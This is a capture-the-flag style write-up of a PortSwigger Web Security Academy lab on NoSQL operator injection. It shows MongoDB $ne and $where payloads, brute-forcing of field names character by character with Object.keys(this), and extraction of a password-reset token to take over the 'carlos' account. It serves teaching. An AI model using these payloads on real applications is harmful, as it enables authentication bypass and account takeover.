Exploiting NoSQL operator injection to extract unknown fields
Exploiting NoSQL operator injection to extract unknown fields
Platform: PortSwigger | Category: NoSQL injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, NoSQL injection
Summary
Walkthrough of the PortSwigger Web Security Academy lab Exploiting NoSQL operator injection to extract unknown fields (NoSQL injection). This lab demonstrates a nosql injection vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — NoSQL injection
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :
Overview :
Identifying field names
Because MongoDB handles semi-structured data that doesn't require a fixed schema, you may need to identify valid fields in the collection before you can extract data using JavaScript injection.
For example, to identify whether the MongoDB database contains a password field, you could submit the following payload:
https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'
Send the payload again for an existing field and for a field that doesn't exist. In this example, you know that the username field exists, so you could send the following payloads:
admin' && this.username!='
admin' && this.foo!='
If the password field exists, you'd expect the response to be identical to the response for the existing field (username), but different to the response for the field that doesn't exist (foo).
Exploiting NoSQL operator injection to extract data ?
Even if the original query doesn't use any operators that enable you to run arbitrary JavaScript, you may be able to inject one of these operators yourself. You can then use boolean conditions to determine whether the application executes any JavaScript that you inject via this operator.
Extracting field names
If you have injected an operator that enables you to run JavaScript, you may be able to use the keys() method to extract the name of data fields. For example, you could submit the following payload:
nosql read-only • copy allowed"$where":"Object.keys(this)[0].match('^.{0}a.*')"
This inspects the first data field in the user object and returns the first character of the field name. This enables you to extract the field name character by character.
Solution :
Try to login with carlos & some random password. The following is hte request being sent.
http read-only • copy allowedPOST /login HTTP/1.1 Host: 0aed0048046cb4b984524c2d00d400a3.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0aed0048046cb4b984524c2d00d400a3.web-security-academy.net/login Content-Type: application/json Content-Length: 39 Origin: https://0aed0048046cb4b984524c2d00d400a3.web-security-academy.net Connection: close Cookie: session=Io6bfEgzmpTHn5IecCSuPDjHLIcB4DhP Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin { "username":"carlos", "password":"asfd" }
Modify the request by adding {"$ne" : "invalid"} in the password field & see if we can bypass the login of carlos.
json read-only • copy allowed{ "username":"carlos", "password":{"$ne" :"invalid"} }
But we get a response saying that Account is locked.Please reset the password.
Injecting $where operator in JSON body -
- Injecting
"$where" : "1"
Request -
json read-only • copy allowed{ "username":"carlos", "password":{"$ne" :"invalid"}, "$where": "1" }
Response -
Here we get Account locked in response.
- Injecting
"$where" : "0"
Request -
json read-only • copy allowed{ "username":"carlos", "password":{"$ne" :"invalid"}, "$where": "0" }
Response -
Here we get a different response - Invalid username/password.
Extracting available field names -
Send the above request to repeater.
- Replace the
$whereparameter with this"$where":"Object.keys(this)[0].match('^.{}.*')". - Add 2 payload positions to bruteforce -
"$where":"Object.keys(this)[0].match('^.{§§}§§.*')"
"$where": This is a key in a JSON object, and it seems to be used to define a condition or filter."
Object.keys(this)[0]": This part of the expression is JavaScript code, not a regular expression. It's using the Object.keys(this) function to get an array of keys of the current object (this), and then [0] is used to access the first key in that array. So, it's essentially accessing the first key in the current object.
Set Attack Type - Cluster Bomb
Payload 1 - Numbers from 0-20
Payload 2 - Simple list - a-z, A-Z, 0-9
Once the attack is over, sort Payload1 & Length to find the 1st key field which is id.
- Repeat the attack by changing hte position from 1 to 2 in the array -
"$where":"Object.keys(this)[1].match('^.{§§}§§.*')"
This time we got the value of 2nd key - username
- Repeat the process for 3nd key field, we got the value of 3rd field as -
password
- Repeat the process for 4th key field, we got the value of 4th field as -
newpwdTkn
Before bruteforcing the 4th field (which most probably is the password reset field), make sure to send a password reset link for carlos before performing the bruteforce for 4th field. Else you will get
500 Internal server errorwhen you bruteforce.
Bruteforcing the password reset token -
So where can we use the following fields which we identified? Possibly the forgot-password request.
Send the GET /forgot-password request to repeater. Add the parameter ?newpwdTkn=<invalid-token>.In the response, we get Invalid token as expected.
Now we need to bruteforce and find the newPwdTkn value
Now update the where operator in the intruder tab as follows ,
json read-only • copy allowed"$where":"this.newpwdTkn.match('^.{§§}§§.*')"
Start the attack.
Now we got the value of the token - **d977a5180c87a6a8**
Reset carlos's password using the token -
Use the url to reset carlos's password - https://0af8009a03483ec483bd199400c3006c.web-security-academy.net/forgot-password?newPwdTkn=d977a5180c87a6a8
In this case , I modified it to test.
Now login as carlos to solve the lab.
Key Takeaways / Lessons
- Understanding NoSQL injection detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Exploiting NoSQL operator injection to extract unknown fields